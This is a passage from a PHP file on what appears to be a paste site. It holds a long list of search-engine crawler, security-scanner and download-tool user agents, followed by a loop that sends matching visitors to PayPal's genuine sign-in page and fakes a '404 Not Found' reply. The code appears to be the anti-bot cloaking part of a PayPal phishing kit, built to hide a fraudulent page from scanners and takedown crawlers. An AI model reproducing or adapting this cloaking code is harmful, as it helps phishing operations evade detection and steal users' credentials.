  1067. "raven search",
  1068. "roach",
  1069. "road runner",
  1070. "roadhouse",
  1071. "robbie",
  1072. "robofox",
  1073. "robozilla",
  1074. "rules",
  1075. "salty",
  1076. "sbider",
  1077. "scooter",
  1078. "scoutjet",
  1079. "scrubby",
  1080. "search.",
  1081. "searchprocess",
  1082. "semanticdiscovery",
  1083. "senrigan",
  1084. "sg-scout",
  1085. "shai'hulud",
  1086. "shark",
  1087. "shopwiki",
  1088. "sidewinder",
  1089. "sift",
  1090. "silk",
  1091. "simmany",
  1092. "site searcher",
  1093. "site valet",
  1094. "sitetech-rover",
  1095. "skymob.com",
  1096. "sleek",
  1097. "smartwit",
  1098. "sna-",
  1099. "snappy",
  1100. "snooper",
  1101. "sohu",
  1102. "speedfind",
  1103. "sphere",
  1104. "sphider",
  1105. "spinner",
  1106. "spyder",
  1107. "steeler/",
  1108. "suke",
  1109. "suntek",
  1110. "supersnooper",
  1111. "surfnomore",
  1112. "sven",
  1113. "sygol",
  1114. "szukacz",
  1115. "tach black widow",
  1116. "tarantula",
  1117. "templeton",
  1118. "/teoma",
  1119. "t-h-u-n-d-e-r-s-t-o-n-e",
  1120. "theophrastus",
  1121. "titan",
  1122. "titin",
  1123. "tkwww",
  1124. "toutatis",
  1125. "t-rex",
  1126. "tutorgig",
  1127. "twiceler",
  1128. "twisted",
  1129. "ucsd",
  1130. "udmsearch",
  1131. "url check",
  1132. "updated",
  1133. "vagabondo",
  1134. "valkyrie",
  1135. "verticrawl",
  1136. "victoria",
  1137. "vision-search",
  1138. "volcano",
  1139. "voyager/",
  1140. "voyager-hc",
  1141. "w3c_validator",
  1142. "w3m2",
  1143. "w3mir",
  1144. "walker",
  1145. "wallpaper",
  1146. "wanderer",
  1147. "wauuu",
  1148. "wavefire",
  1149. "web core",
  1150. "web hopper",
  1151. "web wombat",
  1152. "webbandit",
  1153. "webcatcher",
  1154. "webcopy",
  1155. "webfoot",
  1156. "weblayers",
  1157. "weblinker",
  1158. "weblog monitor",
  1159. "webmirror",
  1160. "webmonkey",
  1161. "webquest",
  1162. "webreaper",
  1163. "websitepulse",
  1164. "websnarf",
  1165. "webstolperer",
  1166. "webvac",
  1167. "webwalk",
  1168. "webwatch",
  1169. "webwombat",
  1170. "webzinger",
  1171. "wget",
  1172. "whizbang",
  1173. "whowhere",
  1174. "wild ferret",
  1175. "worldlight",
  1176. "wwwc",
  1177. "wwwster",
  1178. "xenu",
  1179. "xget",
  1180. "xift",
  1181. "xirq",
  1182. "yandex",
  1183. "yanga",
  1184. "yeti",
  1185. "yodao",
  1186. "zao/",
  1187. "zippp",
  1188. "zyborg",
  1189. 'Googlebot',
  1190. 'Baiduspider',
  1191. 'Pegaso PCS, S.A. de C.V.',
  1192. 'ia_archiver',
  1193. 'R6_FeedFetcher',
  1194. 'NetcraftSurveyAgent',
  1195. 'Sogou web spider',
  1196. 'bingbot',
  1197. 'Yahoo! Slurp',
  1198. 'facebookexternalhit',
  1199. 'PrintfulBot',
  1200. 'msnbot',
  1201. 'Twitterbot',
  1202. 'UnwindFetchor',
  1203. 'urlresolver',
  1204. 'Butterfly',
  1205. 'TweetmemeBot',
  1206. 'PaperLiBot',
  1207. 'MJ12bot',
  1208. 'AhrefsBot',
  1209. 'Exabot',
  1210. 'Ezooms',
  1211. 'YandexBot',
  1212. 'SearchmetricsBot',
  1213. 'picsearch',
  1214. 'TweetedTimes Bot',
  1215. 'QuerySeekerSpider',
  1216. 'ShowyouBot',
  1217. 'woriobot',
  1218. 'merlinkbot',
  1219. 'BazQuxBot',
  1220. 'Kraken',
  1221. 'SISTRIX Crawler',
  1222. 'R6_CommentReader',
  1223. 'magpie-crawler',
  1224. 'GrapeshotCrawler',
  1225. 'PercolateCrawler',
  1226. 'MaxPointCrawler',
  1227. 'NetSeer crawler',
  1228. 'grokkit-crawler',
  1229. 'SMXCrawler',
  1230. 'PulseCrawler',
  1231. 'Y!J-BRW',
  1232. '80legs.com/webcrawler',
  1233. 'Mediapartners-Google',
  1234. 'Spinn3r',
  1235. 'InAGist',
  1236. 'Python-urllib',
  1237. 'NING',
  1238. 'TencentTraveler',
  1239. 'Feedfetcher-Google',
  1240. 'mon.itor.us',
  1241. 'spbot',
  1242. 'Feedly',
  1243. 'bot',
  1244. 'curl',
  1245. "echo blinde kuh",
  1246. "shaihulud",
  1247. "zyborg"
  1248. );
  1249. foreach ($Bot as $BotType) {
  1250.     if (stripos($_SERVER['HTTP_USER_AGENT'], $BotType) !== false) {
  1251.         header('LOCATION: https://www.paypal.com/id/signin');
  1252.         die("<h1>404 Not Found</h1>The page that you have requested could not be found.");
  1253.     }
  1254. }
  1255.  
  1256. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement